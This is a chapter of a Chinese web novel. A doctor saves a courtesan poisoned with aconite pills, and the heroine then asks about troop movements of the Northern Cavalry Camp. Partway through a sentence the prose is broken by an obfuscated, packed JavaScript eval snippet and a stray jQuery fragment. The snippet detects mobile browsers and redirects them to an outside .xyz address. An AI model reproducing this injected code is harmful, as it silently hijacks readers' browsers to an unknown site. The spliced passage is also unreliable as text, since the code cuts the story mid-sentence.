屋内的众人在听到“大夫来了”这四个字后,像得到了救赎般,灼夭赶忙去开门,苏秦紧握月荷肩膀的手也悄悄松了松。
来的是一个年纪大的老大夫,他这一路都是被李大洪抗过来的,颠的他五脏六腑都上下乱颤。
老大夫所在的杏林堂是距离醉风阁最近的医馆了,今日是由他和一名中年大夫坐诊,最开始那小伙计进门说家里姑娘吐血不止着急请大夫,大家还赶紧收拾医箱,后来一问是要去醉风阁坐诊,中年大夫就不愿意去了,饶是那小伙计如何分说都不肯答应。他原本正好在给一病人看诊,虽说这病人不是要命的病情,但毕竟醉风阁这种地方实在不好踏足,他也担心晚节不保。当时整个医舍就陷入了一种僵局,周围的看热闹的民众言谈间也是更偏向中年大夫,小伙计着急得直哭,不住的形容那姑娘现在如何的危机,老大夫医者仁心,当时一咬牙想着自己也这把年纪了,大不了就回家含饴弄孙,救人要紧。
老大夫刚要说他去,就闯进来两个男子,其中一人不由分说扛起他就跑,那扛着他的胖小伙子还大声嚷嚷着:“要命的事儿!说这么久。他不去就劳烦老先生跟我们去一趟吧,我看你在旁边也不吭声,想来比那位要有些当大夫的觉悟。良哥!老先生的药箱就交给你了!”
醉风阁月荷房间内,老大夫刚被放下来,他来不及整理衣冠就闻到一股浓重的血腥气,赶忙上前查看。
他从陈留良手中接过药箱,拿出银针在月荷身上的几处穴位上扎下,瞬时吐血就缓解很多,老大夫看向揽着月荷的苏秦:“姑娘,还请帮我给这位姑娘手上搭一张帕子,我需要诊一下脉。”
苏秦闻言随手扯下在旁边正拿着帕子擦眼泪的雨筝手中的手帕,搭在月荷虚搭在被子上的手腕上,雨筝没反应过来,手里一空,因为惯性依旧以手指拭泪。灼夭看到这一幕有些哭笑不得,这一个小插曲似乎给这紧张焦灼的气氛输入了一点缓释剂,大家都不再像刚刚那般脑子发紧了。
老大夫将手搭上帕子仔细听脉,间或询问一些月荷的情况,灼夭都尽量详实的回答了。不多时,老大夫把手缩了回去,说想看看月荷被喂的东西,查验一下成分。
苏秦向门外的李大洪和陈留良喊话,一阵骚乱声后,二人很快便从门缝中递进来一个小白瓷瓶。
老大夫接过来倒出几粒药丸仔细观察、嗅闻,稍倾,他将药丸放回瓶中,叹口气:“这位姑娘应是川乌中毒了,此药丸中含有大量的川乌,当下要紧的是先给她解毒,再图之以后。我给她开几副方子,你们先帮助她催吐导泄,再抓药辅助调理。”
“那她性命……”灼夭在旁边紧张的询问。
“我刚刚已经帮她止住吐血了,也幸亏这位姑娘一直扶着她,才不至于血液倒灌,呛住口鼻窒息而亡。此刻你们立即去配这催吐导泻的方子来给她服下,只要一个时辰内能把胃里的那些药丸吐出十之八九,性命应是无虞的。”老大夫在屋子中间的圆桌坐下,展开纸笔一边回答灼夭的询问,一边写下药方。
众人闻言这才真正松了一口气,提着的心落回了嗓子眼儿。
老大夫走时是拿着丰厚的诊金回去的。一开始他怎么也不肯收,只说自己也是被那胖小子扛起来就走才没办法的,可是所有人都明白这也只是推脱之词,若是铁了心不肯诊治,那就算人到了,也可以撒手不管,左右他们也不能因为他不治病就杀了他。
最后还是灼夭说的一番话使老大夫无法再推脱,她说她知道来过她们这里诊病,以后有些迂腐顽固的百姓就会不同意老大夫再帮他们看诊,说不准这回去后就会被东家解雇,这诊金老大夫拿着,起码若是今后真出了这样的事情,老大夫也可以回家乡开一个小医馆自己坐堂,她们也是买个心安,给月荷买份福报。
几句话说的众人无不听者动情闻者落泪,直说的老大夫感叹真情难得,遂收下诊金,依旧由李大洪和陈留良护送回去,不过这一路李大洪就恭敬多了。
*
接下来苏秦就没有再继续在屋内待着了,她走出房门,此刻醉风阁中除了阁中的姑娘和小厮伙计外,其他人都已经散去。
灼夭的声音在后方响起:“姑娘,你的衣裙。”
苏秦低头看去,才发现自己的衣裙上沾上很多血迹,大片大片的仿若牡丹一样绽放,唉,早知道就穿她经常穿的红色了,沾了血迹也不大看得出来。
“姑娘不嫌弃的话,就先穿我的衣裙吧。”灼夭笑着说:“就是可能和姑娘的风格有些不大一样。”
“没事,比这身上都是血强。我等回去后会清洗了再给姑娘还来。”
“姑娘不必如此客气,不用再麻烦还一趟的。”灼夭说着向下一福:“今日感激不尽了,若不是姑娘反应快及时扶着月荷,她这就也等不及大夫到来。”
“灼夭姑娘也不必如此客气,我也是正好在旁边,性命攸关的事情,我相信是谁也不会袖手旁观的。”
灼夭不置可否,她始终记得当时这位姑娘的第一个动作是拿衣物
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929037|177175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遮挡住月荷,给月荷留住了体面。
随即灼夭走至前方给苏秦引路往她房间,找衣服给苏秦换下,她一边走一边侧头问道:“不知姑娘如何称呼?”
“我叫苏……苏倾酒。”
“苏姑娘,我记得事情发生前你似是有话要对我讲的样子,说起来还没问苏姑娘怎么会来我醉风阁,这姑娘家来我们这儿,女扮男装的我见过,但如苏姑娘这般坦然的,倒是第一次见。”
“我确实是有事相问。”苏秦正想着如何开口询问北骑营一事,灼夭就主动提问给了她机会。
“苏姑娘不妨直言。”灼夭微一颔首。
“不知灼夭姑娘可听说过北骑营?”苏秦转头看向灼夭,不放过她的每一寸表情。
灼夭表情明显一滞:“北骑营……是听说过的。”
看来没问错人。苏秦心中有些庆幸。
“我想问下,灼夭姑娘有没有听说他们近来的动向?是否有什么兵马调动?”
“苏姑娘如何询问北骑营动向?”灼夭不禁存了几分探究:“这北骑营是天家的兵马,主要职责也是攘外安内,其兵马动向应与我等普通百姓并无多大干系。”
“嗯……是这样,”苏秦说着早就想好的说辞:“我家里有一个商队,近期想去北边进一批货物倒腾,听闻北骑营在北境同裴家军正在对抗塞北乌燕,本是无关的,但是近来又有消息传言他们有一只队伍在境内四处平匪乱,我想着若是如此,那必然是好事呀,就想选择他们已经平乱了的地方做路线,这不是也可以减少损失吗。”
“如此……”灼夭沉吟道:“只是我也不能在此刻信口雌黄,随便给苏姑娘答复,待我求证一番,两日后苏姑娘来此处,我必给你准确答复。”
“好,麻烦姑娘了。”苏秦向灼夭抱拳。
灼夭在把苏秦带至卧房后,从衣柜中选出几件衣服放在苏秦面前容她挑选,就先告别离去了,说要去找那马原修讨一翻公道,留苏秦一人面对她这花花绿绿的衣服犯愁。
灼夭的衣服虽也不至于俗气,但是这颜色之鲜艳,绣花之繁重,款式之大胆实在是让苏秦大开眼界,这还是她挑选出来的不那么过分的。
苏秦挑来捡去,终于从中选出一件不那么花哨的换上。刚换好,她便听到外面传来的吵闹声。
一阵脚步凌乱的声音,伴随着灼夭的怒斥:“把他给我绑好了,不是说自己的父亲是巡检么?那咱们就去知州衙门,看这下毒害人的勾当知州还管不管了!”